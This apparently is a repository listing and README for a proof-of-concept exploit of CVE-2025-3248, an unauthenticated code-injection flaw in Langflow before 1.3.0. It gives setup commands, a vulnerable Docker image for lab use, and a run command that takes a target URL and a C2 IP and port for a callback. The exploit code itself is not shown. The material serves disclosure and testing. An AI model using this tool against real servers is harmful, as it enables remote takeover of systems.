CVE-2025-3248 PoC — Langflow < 1.3.0 Unauthenticated RCE via /api/v1/validate/code

Source

https://github.com/wand3rlust/CVE-2025-3248

Associated Vulnerability

Title: Langflow < 1.3.0 Unauthenticated RCE via /api/v1/validate/code (CVE-2025-3248)
Description:Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/validate/code endpoint. A remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code.

Description

PoC for achieving RCE in Langflow versions <1.3.0

Readme

# CVE-2025-3248

## Introduction
Langflow versions prior to 1.3.0 are susceptible to unauthenticated code injection in the /api/v1/validate/code endpoint via Python exec() function.

## Usage

### Configuration

```
git clone https://github.com/wand3rlust/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
pip install -r requirements.txt
```

### Vuln App
```
docker pull langflowai/langflow:1.1.4
docker run -p 7860:7860 langflowai/langflow:1.1.4
```

### Run
```
python3 cve-2025-3248.py <TARGET_URL> <C2_IP> <C2_PORT>
```
E.g.: `python3 cve-2025-3248.py http://10.10.10.1:7860 10.0.13.37 1337`

## References

- Advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-3248
- GitHub: https://github.com/langflow-ai/langflow/security/advisories/GHSA-rvqx-wpfh-mfx7
- Original Exploit: https://www.exploit-db.com/exploits/52262

File Snapshot

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